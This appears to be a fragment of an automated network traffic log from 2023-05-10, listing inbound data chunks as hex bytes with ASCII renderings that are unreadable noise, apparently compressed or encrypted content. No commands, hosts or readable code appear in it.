b8 78 93 55 3d 70 9f 9d c3 78 8a ad 01 f2 84 0b 14 01 8c e5 03 41 3c 3e 20 08 b2 b7 ff a3 de 71 05 73 ea 41 b0 c5 34 97 9d 22 61 9b ab 5e e3 e0 e8 d9 bb 1e 8c a1 f0 8d fa da 5d eb cc 90 bb 71 eb 02 d8 08 e6 d1 e5 a0 Data Ascii: w\|S[&%?OCKc:u}QAj'^(k9_{rdU,S_Y rtVpw>#Vw$ uS(q(V,^^"R ^%7&xzlnXxU=pxA<> qsA4"a^]q
2023-05-10 00:21:17 UTC	1408	IN	Data Raw: d0 5f be 2f 1e 96 44 3e 8b 41 f7 6e 22 fb e3 c0 bf 68 6d 16 25 09 88 86 49 0f 13 f2 b8 bb f5 6f 19 a9 ca 81 02 4a 64 89 36 79 3c 62 ba 13 cf dd 59 f6 13 58 07 5b f1 fd 4e a0 9b b3 01 4f 06 b3 c7 93 bd 73 a3 0d 81 b9 ed 7a a3 77 65 f3 a9 11 2d 90 fb 27 ef fc 6e 5f 3d ed b7 43 7b 08 57 ca ea b0 bf 44 35 74 55 7e 87 61 b8 50 b2 19 e8 b8 56 90 15 a4 6f a2 f8 d9 a9 47 c0 ac 2f bb 88 b1 70 52 b6 6b 5c fe 8a 50 bb 7c 5c e8 07 05 66 aa be b5 26 d2 cb cd ba 87 f7 85 26 09 44 1a f9 7f 0b 3f 49 66 0e 12 ae 7e 3f 7c 95 37 79 67 3c 73 ed 70 76 1f 04 4e 09 48 12 f5 d3 37 fe 7b d6 8d f3 57 20 9d c3 8c ff 41 93 b4 dd 4c 8f ca 01 c6 fc 24 e9 e4 78 90 31 ea 3e 25 52 d6 72 27 fd 2f ac c0 7c 0d e1 d0 21 6b a8 bf 29 00 6b e8 f5 60 8f 2a 89 57 fe 01 3b 73 1b e6 d7 fe 87 32 6b Data Ascii: _/D>An"hm%IoJd6y<bYX[NOszwe-'n_=C{WD5tU~aPVoG/pRk\P\|\f&&D?If~?\|7yg<spvNH7{W AL$x1>%Rr'/\|!k)k`*W;s2k
2023-05-10 00:21:17 UTC	1424	IN	Data Raw: b7 68 88 85 7f 53 59 12 26 ad 83 61 76 dd 95 4b 77 85 f7 70 74 7b 1c d2 11 5d 8e fa e5 29 0d 3e d7 8d a3 cd 38 36 93 b5 0c ce e1 ba a1 1f 22 e7 18 d1 24 14 45 60 93 f6 53 94 a9 69 61 79 79 b6 f9 10 82 f4 af d2 28 e3 ce 87 9a 5b 55 ab ca 63 16 b3 08 7e 7d db b3 2a d1 cb be 9f e3 71 db a6 34 c6 0c 0e d2 4f 8b 52 0c 28 ab f2 aa cc 23 08 5c 1d 80 c5 ed 7d f0 14 81 7c 2e f3 d2 d4 65 67 67 c4 37 f8 dd 8a c5 f7 23 8f b3 ca dc 1b e9 06 b5 91 b5 33 e7 91 00 86 16 ab 2f 0d 7b 73 5e 78 7d 91 c0 9e ea d0 19 fe 24 9f a1 b7 ce 5d 1a 33 90 e8 dd 43 47 ab 93 c0 b9 7d ec 33 b7 a5 13 04 52 1d 4c 87 79 2f ec db d4 78 c2 ae cb 1c 33 fb b4 db 46 14 91 8c 38 cc 68 e4 be 3d 69 f2 0f 65 94 ba 43 53 0e e6 58 6a 72 80 e9 63 d3 ed d3 7d 3e f6 b8 36 1d dc 0a ad 4b 2c 51 40 71 0e 42 Data Ascii: hSY&avKwpt{])>86"$E`Siayy([Uc~}*q4OR(#\}\|.egg7#3/{s^x}$]3CG}3RLy/x3F8h=ieCSXjrc}>6K,Q@qB
2023-05-10 00:21:17 UTC	1440	IN	Data Raw: 3f 78 f2 2d 5c 82 20 c4 27 68 eb 1a 03 e1 72 f7 04 cc f7 2e 80 9a 1f ae 1c 5a 59 4b 40 72 49 9a 34 ec 7e 39 23 c5 4b 72 6c cc e0 97 9f 1f 44 b8 4e e5 7e 02 2b b6 ca 7f 9d c1 25 1a d5 d7 ed 99 1e d2 3d 7c 5b 1f 8d 55 71 d5 09 aa 61 11 a9 82 68 05 67 df 84 60 87 25 0c 23 a7 c1 15 2f 2f 11 cb 21 26 90 46 04 fe 6e 5e 6c 81 68 74 c6 30 a7 56 15 0d dc 29 f7 2e c6 5d d3 5d 8f 76 65 79 1e 2d 89 0c 89 ee 93 91 02 37 ca 1f 00 fd 85 2a 20 26 38 5c 0d 8a c7 b6 84 1f 56 20 a3 35 20 97 90 6d 20 26 b4 a5 80 7a 4a 04 bb 1c 9d df d6 70 42 5f 34 9a 98 b0 8d a8 d4 2e fc 1c 6a 62 cd 86 63 22 b8 26 c5 28 12 c4 82 33 56 63 1a c8 1b 66 c1 64 b4 6b a3 d5 1c d5 4a 17 23 2a cc 22 cf 3c c6 4d 62 ab a6 be b4 c1 8b 2b 63 3d 77 47 75 aa ed da 0a 97 03 fb 52 3a be 7a 5e 65 95 3e e8 1d Data Ascii: ?x-\ 'hr.ZYK@rI4~9#KrlDN~+%=\|[Uqahg`%#//!&Fn^lht0V).]]vey-7* &8\V 5 m &zJpB_4.jbc"&(3VcfdkJ#*"<Mb+c=wGuR:z^e>
2023-05-10 00:21:17 UTC	1456	IN	Data Raw: c1 1f 78 62 18 08 da 3a b3 c5 c5 d0 4c b8 f3 18 98 4c e4 cf f6 dc aa fa fe 69 41 77 30 dc 60 8d e7 f0 a2 16 ea 89 a9 a1 23 4a 35 07 ef 45 7c 19 af 6f 09 38 c2 3a a4 2d 7b 09 35 33 32 28 bf 2d cd d6 f8 3a d8 55 7f 47 30 49 6f 82 0d 2c 5f 58 18 a7 c4 ce 8e fe e1 11 1d a4 dd c0 6a 78 1b cf 6e 49 1c a1 30 ed ed 3b f2 17 8f 5f a4 53 fe 56 a5 83 0e 63 90 93 15 e4 53 fc 45 fd 97 2e 51 e9 ca ab 7a 3d 56 f9 03 f4 5c d0 69 6b 5c a3 7f a1 f9 09 c6 4d c8 d8 1b c0 c7 9a 5e 71 96 78 dd 88 84 cf da 7a 51 08 7e cb 26 57 ad e8 46 a2 d5 36 eb ed 4c c6 2e 8a d9 a4 cb 27 ef 80 10 58 50 3f 74 89 21 f6 9e 14 fc a1 e7 a2 62 7b 6f 75 ca fc fd aa aa 8c dc c3 6a e9 da 32 72 13 fe 39 d1 18 6f e0 df f1 15 ce 44 8e 90 8b f1 ec 11 9a f9 71 27 3a 3f c5 0a d0 81 ea e2 21 3b 50 d7 64 13 Data Ascii: xb:LLiAw0`#J5E\|o8:-{532(-:UG0Io,_XjxnI0;_SVcSE.Qz=V\ik\M^qxzQ~&WF6L.'XP?t!b{ouj2r9oDq':?!;Pd
2023-05-10 00:21:17 UTC	1472	IN	Data Raw: 29 c7 98 b2 34 d2 3d f1 70 42 9d 05 fe 0c a5 33 7f 47 77 05 6a 7d fc a3 65 1a 9c 2f 61 13 30 61 0e 6b 1e 90 4a 95 83 4b 23 36 8d f9 e6 fa af 41 63 ed f5 e5 f0 13 c9 f6 32 83 e6 56 bd c9 4c 90 6f c8 12 ef b1 c0 19 c2 94 7f a4 1b 86 79 b5 4e a2 37 cd 9a c8 07 ec 01 46 98 bc c1 e4 90 db 07 ce 71 19 2a d3 ac 45 b6 02 4e c6 a6 c1 57 0c 38 89 3a 5f ba 0b 8f 0b a4 11 24 3d 50 ea 89 8c 74 5f 28 eb ff 1b 76 a7 a9 67 da 5e d7 30 b7 4f 26 ba 4b 2e 8a f9 c5 49 98 80 3f d4 fd a3 43 3a ac 22 81 00 5b 30 f6 83 07 f5 24 cf 1d 96 f7 41 27 c1 ea 05 70 35 dc a7 3c 51 16 ce a9 3c c7 b9 c8 37 81 75 d6 2a 18 44 4d bf 1f 7f 05 b6 a8 16 9c 79 f6 81 8e 36 5f 50 1d 2e 08 4f 56 6f a5 89 b9 2e b9 22 d8 a4 34 68 27 0e d3 cd 22 c1 75 e3 b0 41 d9 58 d0 15 13 55 de 36 74 20 06 35 07 3f Data Ascii: )4=pB3Gwj}e/a0akJK#6Ac2VLoyN7FqENW8:_$=Pt_(vg^0O&K.I?C:"[0$A'p5<Q<7uDMy6_P.OVo."4h'"uAXU6t 5?
2023-05-10 00:21:17 UTC	1488	IN	Data Raw: 24 24 8a e1 60 ba d1 cb 88 a6 00 7b 6c c4 6a db 02 b3 1a 1e d0 da 8b 67 40 7d 29 75 e8 c5 d3 28 8c cb 6d 8e 62 11 8f bf 97 9b 7d 09 41 22 f4 d3 23 a6 bc c0 97 d2 5f ee a1 67 a9 93 e4 34 17 16 ad 5a be a7 3e 95 59 82 97 b6 9d de 23 d6 a8 98 e4 28 0a 24 90 b9 a6 b7 13 d5 37 a6 32 50 99 ff c6 ed 98 77 35 a5 56 03 50 ca e7 01 3a 63 8a 2c 4a c5 b1 4c 19 65 97 44 b3 d8 bc 4c 00 aa 1b a7 db 81 b5 9c 9b 40 2c f6 a8 a9 bf 53 37 97 1c 38 9e ce 43 5b 3a 69 2d 10 52 96 a4 90 2c 20 7a a2 7a 0f 20 4a cc 5b cc e0 e7 70 d9 5f 35 a9 e7 e0 3e fe 4d 59 91 dd ae 0f 38 4d 9b d8 eb 45 10 92 fb 06 56 2c 65 b7 52 c6 76 bb ba 08 c2 2b 62 97 3e 74 67 3f 55 d3 85 59 1d d1 45 e5 7d 11 e9 59 ee d4 00 2b 61 80 04 a0 08 f8 66 58 61 5f 77 1c a4 78 f6 8c f6 0e b7 a2 f3 89 e3 e9 8f 95 62 Data Ascii: $$`{ljg@})u(mb}A"#_g4Z>Y#($72Pw5VP:c,JLeDL@,S78C[:i-R, zz J[p_5>MY8MEV,eRv+b>tg?UYE}Y+afXa_wxb
2023-05-10 00:21:17 UTC	1504	IN	Data Raw: 48 97 e6 70 e7 28 f7 f1 3b ff 8d 7a f1 e1 55 29 dc 73 c2 fa 49 4a 24 02 5c 59 88 6c 81 9e ed 62 7c 03 d2 6a bb 33 d9 64 7d 39 d4 35 16 d6 9e a4 b3 1e 76 46 92 dd a1 34 c5 d6 10 3b ef 65 3d 8b d9 01 07 72 0e 35 2a 7a 08 18 a9 8c 2e 08 a8 85 64 89 62 c9 f0 c2 9a a4 8c 24 ba a1 62 20 9e 9d d1 ca 9b a4 27 82 2d 0f 9f 5f cc e6 55 b2 9f 0c b2 0e 26 9e 5a 51 1f 5a ca d6 fa d5 26 b8 59 48 2b b5 48 87 f4 97 ec b5 61 b6 d2 59 96 7d f4 7d 40 ed c5 1c 7f 40 58 cb 8e 65 49 f9 30 98 1f 3d 20 9d e8 0e be bb 25 81 d4 cf 25 92 9e 1a 08 29 21 25 80 61 92 1d 99 3a 02 42 72 06 6f b3 34 c9 05 53 f3 bf ee e1 08 48 e1 f4 9b 29 de 5a e8 ad b6 d0 6e 49 42 d5 30 d4 57 27 24 e9 05 fb 34 9a 2a f6 7c 6f ba 48 32 24 2d 20 75 4e 7a d7 3f 98 17 45 21 ef 00 ee 53 2b 3b 80 1e f5 80 6b 99 Data Ascii: Hp(;zU)sIJ$\Ylb\|j3d}95vF4;e=r5z.db$b '-_U&ZQZ&YH+HaY}}@@XeI0= %%)!%a:Bro4SH)ZnIB0W'$4\|oH2$- uNz?E!S+;k
2023-05-10 00:21:17 UTC	1520	IN	Data Raw: dd 00 c9 5a 50 c9 67 24 7d 9f 3d a8 d9 c7 83 b9 45 f5 04 f6 34 4d aa ab e5 ed b9 c2 fc 5f fc 34 3e 25 1d 8b 95 70 26 e9 98 52 59 8f 28 1c 6d 12 c5 5b 8e b9 f8 ba e7 ca a8 c4 f1 b6 ef cd 9f c8 fe 3f cf f2 5c c7 86 3c eb 40 7b f2 ad a1 cc 89 ca 2e 0f ed 08 05 39 ca 1f eb df a1 c1 36 ad bb 15 1a bc 93 75 98 c9 d9 6e 93 e6 54 87 ac f2 46 5c c1 99 7c 45 0e 5b 0d 4e d8 17 7d 40 47 f3 32 53 46 1a 08 44 66 bf 05 c4 c0 09 82 ce fd e0 10 91 32 c6 19 22 50 ee a3 11 03 03 5d 5b 82 78 e8 8c 14 ed 1d 18 d7 91 bc 58 eb 96 73 8f b0 66 a6 24 20 8d 23 a7 4c da 36 e7 23 e9 12 68 3a 7c 4d 1b 94 ce 7a c1 b7 01 20 5a 55 8e c1 54 ca 24 51 50 51 8d bc 09 0d 72 48 1d d6 f3 03 9f f8 d2 42 5b 88 51 ab 68 42 f4 00 0a c1 c2 f8 e1 d2 88 4a 49 7d af a8 df 86 a3 75 07 a7 92 62 66 27 9b Data Ascii: ZPg$}=E4M_4>%p&RY(m[?\<@{.96unTF\\|E[N}@G2SFDf2"P][xXsf$ #L6#h:\|Mz ZUT$QPQrHB[QhBJI}ubf'
2023-05-10 00:21:17 UTC	1536	IN	Data Raw: ec d3 c4 5e a2 95 ce d8 cc 73 71 de 2b 1a 9f 30 24 bc 54 72 ef a7 40 1d 7a de 89 ec a9 f5 eb c1 7e e3 56 95 e1 c7 6b 1d 29 5a bf 03 6c 09 fd cc e9 cd 93 2f f0 0a e8 cb bb 73 9c 9f 7e 4b a5 23 ad 15 af bb e8 45 d0 7a 13 6d e6 c9 6b cb c5 96 ad f1 13 64 e4 b2 a6 5e 51 09 b6 a1 4c 36 10 15 32 e2 49 fc 9f 2c c8 3d 0f a7 bd 9a 94 ca 40 c6 7b 6e 36 53 8a ab b3 13 c0 5e f5 e8 08 2f 67 a1 5e 7f ab 6e 3a b9 85 d0 c0 ae ac 65 2d be 93 19 a5 b1 59 f4 57 64 9f a9 fc a6 ce b5 d3 f8 e2 fb 55 55 a6 4d 41 dd e8 09 f3 5c ca a0 a6 08 84 e4 48 1c 8a ab 19 9b 9c 0b 41 f3 9b f0 9e 78 8a 37 3a 1f 16 f2 5a 3f 18 45 2c e6 b6 8d 39 ad f8 9c 89 67 8b 01 23 d3 8e 83 a4 c0 3b a5 fa 9c 94 76 67 ef eb b2 77 68 c1 95 dd 3e 7e ce 5e 57 55 6a 9d 76 4f 74 58 87 9c 8e 28 73 67 37 2d b5 63 Data Ascii: ^sq+0$Tr@z~Vk)Zl/s~K#Ezmkd^QL62I,=@{n6S^/g^n:e-YWdUUMA\HAx7:Z?E,9g#;vgwh>~^WUjvOtX(sg7-c
2023-05-10 00:21:17 UTC	1552	IN	Data Raw: a3 e5 e9 be de f2 7d 50 f9 7d 0b d5 16 7e 50 4b 06 9f 47 0b 62 8c e2 ab 23 97 4c af 1a 46 52 d3 e9 ce 8d ca d5 f4 fe b9 5e e5 d3 f4 0a 1b ce 6b 9f ae d5 b5 9d db f5 55 5b 05 c3 18 ce 1b bd 47 3c 72 33 4b b4 12 40 aa 65 8d 0a 2e 47 ad 5d 3e 4a a8 a5 00 88 78 b8 c7 c3 d2 12 5f c0 58 73 20 e7 f3 4a 1b ba 07 90 1a 56 24 43 96 73 6b ad db 34 71 cf 30 c1 fa 1c cf bc 1f 19 8c 2c 99 16 b8 ac 1d 6e 26 12 56 e3 70 5e eb 50 99 23 6d 93 ad 39 28 ab a6 c6 8b b8 f6 7d 0b 4a 35 f2 d7 1e a9 64 27 45 62 c3 80 29 9f 62 d1 b0 2e bb ef ef ce 50 07 ea 03 45 3a 23 be d7 8d bb 6e 0d 58 c0 2c 39 34 4a 7d 86 83 c0 48 c0 97 a4 45 78 dc 37 ed fd 90 ca 63 6b 34 77 26 7f 11 36 85 ec 60 fc 91 90 7a 89 83 52 41 de 79 e4 46 6e 8b c9 b7 f9 43 3c 0d 10 b0 69 22 6b 97 36 4e 91 a6 f9 74 29 Data Ascii: }P}~PKGb#LFR^kU[G<r3K@e.G]>Jx_Xs JV$Csk4q0,n&Vp^P#m9(}J5d'Eb)b.PE:#nX,94J}HEx7ck4w&6`zRAyFnC<i"k6Nt)
2023-05-10 00:21:17 UTC	1568	IN	Data Raw: 49 8a db 0b 52 f4 d2 27 60 f7 00 ea ba b6 71 6b 4c 2b 7a ce 8d e2 c1 12 c9 00 07 53 e8 aa 98 c9 eb 60 77 94 a2 a4 4c 62 b4 7d 37 42 76 c9 5d a6 e7 95 10 3f 9b be 69 6f 23 71 5f 3c f0 46 c3 20 1c 94 57 cd e4 de b5 f0 6a bd 35 30 84 62 f2 26 08 81 88 45 ee 72 f1 d5 ac d5 c4 6f 4e 2c 4e 0d b1 80 18 b9 ce 13 3d 0b a1 1b ad b0 71 b9 e2 9c 68 ff 58 3e 3f 70 a3 5c ad e3 ff ad 5e 36 47 8f 8f 57 38 89 93 c6 bb 04 c6 41 82 00 f6 27 20 cb 84 85 d3 97 00 18 f3 fa ff 7b ed b2 da eb 93 12 c6 89 79 6e 32 17 23 99 df 8e d7 b0 5c 53 17 49 b6 63 c2 cb 50 16 86 76 f8 53 32 6c 71 4d 9c 47 ad f7 eb e7 7a 52 57 48 5a a6 1f d3 41 cf 23 c9 07 d6 15 9e 5a 27 aa 62 e8 d3 0a 9a a9 5a 08 d9 55 fa 6f e1 0c 39 7e 9c a7 a3 ab a7 41 da 5e 75 4a 6d 11 76 ba 7c db 63 7f 24 17 1d 79 65 54 Data Ascii: IR'`qkL+zS`wLb}7Bv]?io#q_<F Wj50b&EroN,N=qhX>?p\^6GW8A' {yn2#\SIcPvS2lqMGzRWHZA#Z'bZUo9~A^uJmv\|c$yeT
2023-05-10 00:21:17 UTC	1584	IN	Data Raw: 5c 23 f2 2e 56 50 78 cf c4 bc 18 45 a0 6f 98 20 99 74 e2 9c 33 9d 10 13 32 96 b0 7b cd 89 80 c0 7f 98 f0 31 08 1a 47 6f fa 6f 32 6e c0 e6 03 a7 48 75 fc 1d 31 54 e2 11 b9 19 47 43 95 4d e3 70 df 64 f1 7a db 79 e5 19 a9 bd f0 5a 5d cc 37 e1 d0 44 91 75 a1 0d 20 5f 9f 4e 02 4c ae 99 a1 f7 e4 ec 02 1c 51 a8 8d e2 af 00 cf ed 69 44 ae 36 c1 cb 86 43 49 4d 24 d4 55 62 3a a6 66 5a 46 81 80 92 47 87 bc 06 6b 66 22 36 c2 3f 4d 5e a7 da 4d 28 5d bb 35 2a 07 e7 b5 26 58 f4 5d 68 cb 87 6a 95 f7 65 a1 0a a2 ba 19 18 c0 25 06 a0 b8 86 e9 a9 7d b3 0e 4a 4c 2d 5b bd b0 ed 26 ed e6 9f c3 99 93 dd 11 f6 8a d7 74 8d e6 06 9a 1d 9e db 0b b5 f8 d3 69 1f ca 7a 8a 2d ff f5 47 40 16 bd 54 45 6a 97 44 9c 88 6a 77 02 f0 c1 a5 27 10 21 29 cd d9 d8 3c 36 80 7e 8d 0a 89 bb 35 96 d5 Data Ascii: \#.VPxEo t32{1Goo2nHu1TGCMpdzyZ]7Du _NLQiD6CIM$Ub:fZFGkf"6?M^M(]5*&X]hje%}JL-[&tiz-G@TEjDjw'!)<6~5
2023-05-10 00:21:17 UTC	1600	IN	Data Raw: 63 1b b6 02 40 12 56 a6 d2 c5 ac 05 f2 81 b7 68 2c ba de 01 be 9d 58 52 0d b3 db 75 9b 9f 2b 76 4b fd 6e 1d aa 13 c4 0c 0f 8d 17 76 f4 da 9a 50 c8 61 23 ea 13 3d 8c c5 3c b5 37 49 c6 6f 88 e4 c8 65 b8 8b b4 ec da db ac cc 35 b3 4e 1d f9 93 3b 26 37 dd dd 8d 49 78 42 f0 10 f3 09 1a 40 f2 41 ef 6b 32 97 a9 40 f4 6e fc bb ab c6 b8 dd 37 39 e5 36 ff 4f 69 dc 6d e4 65 ef 9c b6 d3 20 5e a9 84 cd b6 4c d9 82 a7 f9 04 12 a2 59 3d b7 ff d9 5a c5 03 ad 9c d1 88 de 0f 7f e2 8b b4 82 2d 15 6a 47 64 87 65 26 75 45 6d f8 04 8a 5b d2 06 65 d4 d9 85 43 16 15 85 e1 09 7d 71 47 ae 79 93 a4 04 5b b0 84 c0 e8 c7 dd 47 df 24 52 34 3e 75 52 0e bc a7 b3 15 4b da 5c 3a 46 4f fa fe e8 bb c8 87 a4 f2 cb 0a 4a da 8e 76 d7 d5 89 ef cb e7 40 bd f9 c9 8c 68 32 f6 2f 09 c3 9c a9 c1 f3 Data Ascii: c@Vh,XRu+vKnvPa#=<7Ioe5N;&7IxB@Ak2@n796Oime ^LY=Z-jGde&uEm[eC}qGy[G$R4>uRK\:FOJv@h2/
2023-05-10 00:21:17 UTC	1616	IN	Data Raw: 94 fb e7 77 3e 81 87 c3 e7 3d 81 07 1c b6 d6 95 ed a0 97 da b2 ea da 22 10 ee a7 8e 6f ad b3 29 5f db 5e 04 82 15 e3 a0 9a b7 c5 64 6d 26 2c 7d 2b f1 ad 2a 15 99 3d 47 e1 d6 24 20 21 34 8c c3 89 6f da bc 54 0f 04 14 56 37 c2 11 65 e8 40 98 60 24 ae 4d f9 28 53 00 de d6 6a b5 ad 78 cf f3 f7 6a b3 cd 76 d8 40 c3 63 c2 b6 58 ad 0c 32 a6 38 ea a7 7e 30 f1 9d a6 18 89 c0 12 1f 52 ea ac fe be d4 4b 8d 2d 18 56 29 e1 51 8f ff fa e4 70 a6 c2 5b ae 9e a8 da 1d 99 d1 52 f8 62 3d ed 10 bc 14 dc c8 a6 59 af 32 25 81 b6 4f 26 74 08 6e 63 19 af f9 37 8a a7 75 d2 2e 25 56 26 f0 e7 2a 7c ed c5 90 46 bf b4 34 36 5e 02 1a 79 8b 2e e5 c0 f9 b6 54 28 a2 a4 47 8a 16 87 81 a1 04 bf a7 67 a2 e2 c2 cf 63 0f e7 aa 73 02 8d 0f 2c 95 22 82 a5 84 32 9b a2 2a ce 3f 36 9a 5a 71 ef 0c Data Ascii: w>="o)_^dm&,}+=G$ !4oTV7e@`$M(Sjxjv@cX28~0RK-V)Qp[Rb=Y2%O&tnc7u.%V&\|F46^y.T(Ggcs,"2*?6Zq
2023-05-10 00:21:17 UTC	1632	IN	Data Raw: 41 86 95 a5 5d 3b 78 d8 7b ef bf 04 18 1a 8a ed 69 63 a1 22 57 a3 ea 90 de ae 36 be d4 ab 37 03 e5 00 1a 76 2e 85 11 b2 76 92 ea 28 39 47 1f 68 18 67 d4 78 25 c0 14 10 83 7d 6c fb 15 20 8c 3a e0 a7 ca 99 dc f2 3c fc 08 1f 39 25 a8 c0 32 c6 cb 78 2f 8a 5e 3a a0 79 3a 5d d4 0e b0 49 b1 76 1d 11 61 bf df 2a 78 c0 f8 a5 60 d8 bb a9 9e 3c 74 a0 23 4b 85 10 2b 0a dd 7d 01 b8 7d 6d 1d 4c 81 8a 05 85 a0 1f 97 eb 82 a3 bc 22 1c 71 ec 53 d1 b8 08 85 cf dc 63 40 d3 1c 6d a7 c6 5d cc 38 7b 0d 4f 1e 71 a0 b7 ee f1 a5 63 52 f1 d3 bb b3 77 ab b5 5f c5 32 f9 1c 69 00 62 4f 1d 42 a7 91 a0 da c5 9f f1 3b 2c 64 45 71 8f a0 8c d4 bb 97 3f f6 cc 8b db ad 88 c5 84 4c ec 56 03 21 06 c3 a1 07 21 8e 9d 37 68 be ac 90 16 65 14 c4 9c 27 11 c4 1f e3 48 4e 04 01 7f e7 59 92 d5 82 f4 Data Ascii: A];x{ic"W67v.v(9Ghgx%}l :<9%2x/^:y:]Iva*x`<t#K+}}mL"qSc@m]8{OqcRw_2ibOB;,dEq?LV!!7he'HNY
2023-05-10 00:21:17 UTC	1648	IN	Data Raw: 4d e0 58 ea 59 80 84 c1 15 37 69 9d 9b 45 83 87 bd e6 5c b3 8d 92 f6 62 30 6f 49 9a a8 44 70 66 f3 23 3e 25 83 53 ff 1f 09 c9 12 82 4a 35 52 5c 1c 98 e0 08 7e a9 f1 0a e2 96 fe b0 db 52 41 54 ac dc 28 42 48 38 d2 ad d2 99 a3 14 a3 e9 6b da f8 16 67 f3 3e 3c da 1c da fa 78 83 6f 3b 39 ba 9d 9d 1e 95 3e 57 6f e8 c6 2f f9 99 85 2f af d5 1e 54 b5 1c 0c 8b b5 bc 61 25 36 95 ee b4 65 e8 b0 d7 99 60 71 74 0e fb 7a 83 b5 84 b4 ad f6 ce b8 1c e3 40 c3 d7 f2 70 ef b0 37 9d 84 7a d8 75 6f 5b 2e bc ac 1d 67 dd e7 7a a9 bb 61 23 63 61 3c 7f 3f 52 a9 15 c0 a8 08 6d 5d 8e 1f d2 96 96 cd f3 d4 9a 7e a7 d0 a3 16 cd 98 e7 e9 3f 08 08 36 75 b8 5c d0 b9 25 ac 34 37 d2 3e a3 66 5a 2e 8b 06 07 99 22 60 5a e0 cd f3 30 c4 9d 77 13 82 dc 8d c6 5e fc be 0e 74 66 08 a6 fe b9 9b 6b Data Ascii: MXY7iE\b0oIDpf#>%SJ5R\~RAT(BH8kg><xo;9>Wo//Ta%6e`qtz@p7zuo[.gza#ca<?Rm]~?6u\%47>fZ."`Z0w^tfk
2023-05-10 00:21:17 UTC	1664	IN	Data Raw: 22 7e aa 00 bc 7c 8d f1 99 86 2e a4 4b 12 51 55 a4 a4 50 3f c6 1f ae f8 3e 33 40 e3 67 74 5f f7 fd eb f9 0c 67 2d 1a d0 05 09 49 52 7a ea 85 8c 49 05 dd 21 f0 45 d6 90 71 a6 14 97 9b e6 c9 bc 7f 91 24 77 63 77 d7 9a 07 9d 27 78 29 18 3b b2 30 f1 2d 3c 36 19 06 00 33 22 28 d4 3f 53 95 34 9d 7b 57 7c 5f 36 5e 09 f6 c6 cd d3 4a be d7 68 ec b3 bd 9f 06 5a 7a 09 0a 92 9f 7b 3a ed 66 de 13 cd 6b f7 46 d7 d7 49 2c e7 db b6 79 6c b5 d6 64 df 01 6a c8 9e 2a 72 cb 9c 48 2b 66 f3 db 92 a7 e9 ad 29 14 70 b6 5f 9d 40 89 df 49 e5 80 9e db ee 14 ee e6 46 64 9a 2a 71 d4 10 71 fe 8c cc 70 e1 e4 27 71 8e 05 10 2d 5e b6 15 8d e2 8d 7e 96 ce 99 dc f3 c7 6d a2 1b 71 0a 8b 4b 09 6a 4d 85 f8 0e f9 0f 97 17 3c b2 b2 d5 a1 6d 08 26 67 29 91 81 6e bc 2c 49 02 a7 b8 ac ed 7a 0c 9e Data Ascii: "~\|.KQUP?>3@gt_g-IRzI!Eq$wcw'x);0-<63"(?S4{W\|_6^JhZz{:fkFI,yldjrH+f)p_@IFdqqp'q-^~mqKjM<m&g)n,Iz
2023-05-10 00:21:17 UTC	1680	IN	Data Raw: 4b 1a 6d 17 f2 b3 fc f1 eb a1 b5 3e 4d 15 e7 79 75 1a 7d 98 5d fd 28 fe cc 07 5a 23 77 7f 3f 13 64 b4 27 28 cf e1 64 1b e5 25 3e cf e1 91 cd 33 60 5f d2 8c 31 9d 4c 76 32 f0 00 22 a8 02 5c 3c 0d d0 30 68 0c 2b 24 55 ed 15 54 6f 5b 28 c5 33 f5 81 4f 5f dc 30 49 1b 1a 61 98 5e 71 ec 92 06 fd 77 68 a6 c7 9c 21 af 83 2f 7b 71 6d 20 30 ff d4 43 47 9b d6 23 a3 3f f8 9a 12 ee 29 c8 87 71 5f df 01 18 e9 64 7a f3 91 46 e7 59 52 db d5 fd 51 90 6d 00 84 36 30 80 c3 b0 b5 d6 29 5b 1a ac c5 17 c4 a5 b2 32 f2 7c 0f 4a 96 16 8e ff 40 94 25 9c 73 f3 2b f1 6b 68 8f 02 d7 4a b7 27 94 c5 1d 74 c2 b7 a3 fb 5a 87 a4 38 bb db f1 63 83 33 b1 36 e9 b7 dc bb ff d0 a6 a1 51 4c 6a 2a 0c 25 78 54 16 4e 56 a6 59 64 89 a8 59 35 f7 aa 14 3b 8d 9a 85 99 69 d7 13 32 b4 69 13 08 83 9b f6 Data Ascii: Km>Myu}](Z#w?d'(d%>3`_1Lv2"\<0h+$UTo[(3O_0Ia^qwh!/{qm 0CG#?)q_dzFYRQm60)[2\|J@%s+khJ'tZ8c36QLj*%xTNVYdY5;i2i
2023-05-10 00:21:17 UTC	1696	IN	Data Raw: 7a 03 8e 07 23 ac 45 0f 03 58 a0 df e6 00 6e 24 95 c9 1b bc bf 0a 27 19 26 00 06 9e 6c 29 23 38 06 19 26 be 4f 6b ae 6f 6c 1c b6 3a 4e b9 aa 43 57 ca 6f dd 9a b5 90 a6 65 e3 17 96 cf d3 c4 44 3d b2 65 79 58 7e 90 13 aa 49 85 b2 be 2b 79 56 51 d7 53 b9 cf 74 21 09 e8 dd ba a5 2d f2 a0 2b 23 e2 00 a5 be dd eb 50 ff c2 77 93 46 57 dd 2d a9 62 41 82 dc 2b 56 bc c7 1d 50 37 83 d6 0a b6 3b 84 51 44 1a f2 f6 cb 55 30 60 01 cc 5a 91 1e b9 6e a4 bc a6 9c 15 d3 d4 d6 b3 f8 3e b1 f8 e7 b1 94 9c 50 ca bc 45 9f 29 36 ff cb af 03 70 b4 3f 86 5a 24 d6 61 b2 10 ae 02 02 d0 5f a5 26 99 fe 34 b0 8b e1 4e aa 40 a7 ba b2 40 50 0e 1d 51 b6 49 3c c5 b4 27 19 37 a0 e5 ed 38 64 48 50 dc d7 ad 59 e1 65 06 a3 e7 dd a8 6a 7f e3 3c bc 1e db 20 17 7a ec ac c3 2a f3 7c 99 2a f7 06 4e Data Ascii: z#EXn$'&l)#8&Okol:NCWoeD=eyX~I+yVQSt!-+#PwFW-bA+VP7;QDU0`Zn>PE)6p?Z$a_&4N@@PQI<'78dHPYej< z\|N
